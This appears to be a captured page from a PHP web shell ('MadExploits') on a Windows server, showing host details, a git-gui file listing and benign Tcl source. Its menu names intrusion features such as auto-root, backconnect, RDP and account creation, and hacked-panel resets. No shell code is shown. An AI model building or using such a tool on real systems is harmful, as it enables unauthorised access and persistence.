Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
mingw64 /
share /
git-gui /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
about.tcl
1.88
KB
-rw-rw-rw-
blame.tcl
34.91
KB
-rw-rw-rw-
branch.tcl
943
B
-rw-rw-rw-
branch_checkout.tcl
2.2
KB
-rw-rw-rw-
branch_create.tcl
5.3
KB
-rw-rw-rw-
branch_delete.tcl
3.28
KB
-rw-rw-rw-
branch_rename.tcl
3.14
KB
-rw-rw-rw-
browser.tcl
12.1
KB
-rw-rw-rw-
checkout_op.tcl
14.55
KB
-rw-rw-rw-
choose_font.tcl
4.1
KB
-rw-rw-rw-
choose_repository.tcl
26.22
KB
-rw-rw-rw-
choose_rev.tcl
14.94
KB
-rw-rw-rw-
chord.tcl
5.26
KB
-rw-rw-rw-
class.tcl
4.45
KB
-rw-rw-rw-
commit.tcl
12.81
KB
-rw-rw-rw-
console.tcl
4.73
KB
-rw-rw-rw-
database.tcl
3
KB
-rw-rw-rw-
date.tcl
1.03
KB
-rw-rw-rw-
diff.tcl
23.6
KB
-rw-rw-rw-
encoding.tcl
16.37
KB
-rw-rw-rw-
error.tcl
2.47
KB
-rw-rw-rw-
git-gui.ico
3.55
KB
-rw-rw-rw-
index.tcl
17.77
KB
-rw-rw-rw-
line.tcl
1.32
KB
-rw-rw-rw-
logo.tcl
2.24
KB
-rw-rw-rw-
merge.tcl
6.37
KB
-rw-rw-rw-
mergetool.tcl
10.35
KB
-rw-rw-rw-
option.tcl
10.45
KB
-rw-rw-rw-
remote.tcl
7.14
KB
-rw-rw-rw-
remote_add.tcl
4.48
KB
-rw-rw-rw-
remote_branch_delete.tcl
8.31
KB
-rw-rw-rw-
search.tcl
6.56
KB
-rw-rw-rw-
shortcut.tcl
3.5
KB
-rw-rw-rw-
spellcheck.tcl
9.4
KB
-rw-rw-rw-
sshkey.tcl
3.38
KB
-rw-rw-rw-
status_bar.tcl
6.85
KB
-rw-rw-rw-
tclIndex
15.45
KB
-rw-rw-rw-
themed.tcl
11.87
KB
-rw-rw-rw-
tools.tcl
3.89
KB
-rw-rw-rw-
tools_dlg.tcl
9.81
KB
-rw-rw-rw-
transport.tcl
5.71
KB
-rw-rw-rw-
win32.tcl
596
B
-rw-rw-rw-
win32_shortcut.js
888
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.tcl
# git-gui simple class/object fake-alike # Copyright (C) 2007 Shawn Pearce proc class {class body} { if {[namespace exists $class]} { error "class $class already declared" } namespace eval $class " variable __nextid 0 variable __sealed 0 variable __field_list {} variable __field_array proc cb {name args} { upvar this this concat \[list ${class}::\$name \$this\] \$args } " namespace eval $class $body } proc field {name args} { set class [uplevel {namespace current}] variable ${class}::__sealed variable ${class}::__field_array switch [llength $args] { 0 { set new [list $name] } 1 { set new [list $name [lindex $args 0]] } default { error "wrong # args: field name value?" } } if {$__sealed} { error "class $class is sealed (cannot add new fields)" } if {[catch {set old $__field_array($name)}]} { variable ${class}::__field_list lappend __field_list $new set __field_array($name) 1 } else { error "field $name already declared" } } proc constructor {name params body} { set class [uplevel {namespace current}] set ${class}::__sealed 1 variable ${class}::__field_list set mbodyc {} append mbodyc {set this } $class append mbodyc {::__o[incr } $class {::__nextid]::__d} \; append mbodyc {create_this } $class \; append mbodyc {set __this [namespace qualifiers $this]} \; if {$__field_list ne {}} { append mbodyc {upvar #0} foreach n $__field_list { set n [lindex $n 0] append mbodyc { ${__this}::} $n { } $n regsub -all @$n\\M $body "\${__this}::$n" body } append mbodyc \; foreach n $__field_list { if {[llength $n] == 2} { append mbodyc \ {set } [lindex $n 0] { } [list [lindex $n 1]] \; } } } append mbodyc $body namespace eval $class [list proc $name $params $mbodyc] } proc method {name params body {deleted {}} {del_body {}}} { set class [uplevel {namespace current}] set ${class}::__sealed 1 variable ${class}::__field_list set params [linsert $params 0 this] set mbodyc {} append mbodyc {set __this [namespace qualifiers $this]} \; switch $deleted { {} {} ifdeleted { append mbodyc {if {![namespace exists $__this]} } append mbodyc \{ $del_body \; return \} \; } default { error "wrong # args: method name args body (ifdeleted body)?" } } set decl {} foreach n $__field_list { set n [lindex $n 0] if {[regexp -- $n\\M $body]} { if { [regexp -all -- $n\\M $body] == 1 && [regexp -all -- \\\$$n\\M $body] == 1 && [regexp -all -- \\\$$n\\( $body] == 0} { regsub -all \ \\\$$n\\M $body \ "\[set \${__this}::$n\]" body } else { append decl { ${__this}::} $n { } $n regsub -all @$n\\M $body "\${__this}::$n" body } } } if {$decl ne {}} { append mbodyc {upvar #0} $decl \; } append mbodyc $body namespace eval $class [list proc $name $params $mbodyc] } proc create_this {class} { upvar this this namespace eval [namespace qualifiers $this] [list proc \ [namespace tail $this] \ [list name args] \ "eval \[list ${class}::\$name $this\] \$args" \ ] } proc delete_this {{t {}}} { if {$t eq {}} { upvar this this set t $this } set t [namespace qualifiers $t] if {[namespace exists $t]} {namespace delete $t} } proc make_dialog {t w args} { upvar $t top $w pfx this this global use_ttk uplevel [linsert $args 0 make_toplevel $t $w] catch {wm attributes $top -type dialog} pave_toplevel $pfx } proc make_toplevel {t w args} { upvar $t top $w pfx this this if {[llength $args] % 2} { error "make_toplevel topvar winvar {options}" } set autodelete 1 foreach {name value} $args { switch -exact -- $name { -autodelete {set autodelete $value} default {error "unsupported option $name"} } } if {$::root_exists || [winfo ismapped .]} { regsub -all {::} $this {__} w set top .$w set pfx $top toplevel $top set ::root_exists 1 } else { set top . set pfx {} } if {$autodelete} { wm protocol $top WM_DELETE_WINDOW " [list delete_this $this] [list destroy $top] " } } ## auto_mkindex support for class/constructor/method ## auto_mkindex_parser::command class {name body} { variable parser variable contextStack set contextStack [linsert $contextStack 0 $name] $parser eval [list _%@namespace eval $name] $body set contextStack [lrange $contextStack 1 end] } auto_mkindex_parser::command constructor {name args} { variable index variable scriptFile append index [list set auto_index([fullname $name])] \ [format { [list source [file join $dir %s]]} \ [file split $scriptFile]] "\n" }
Close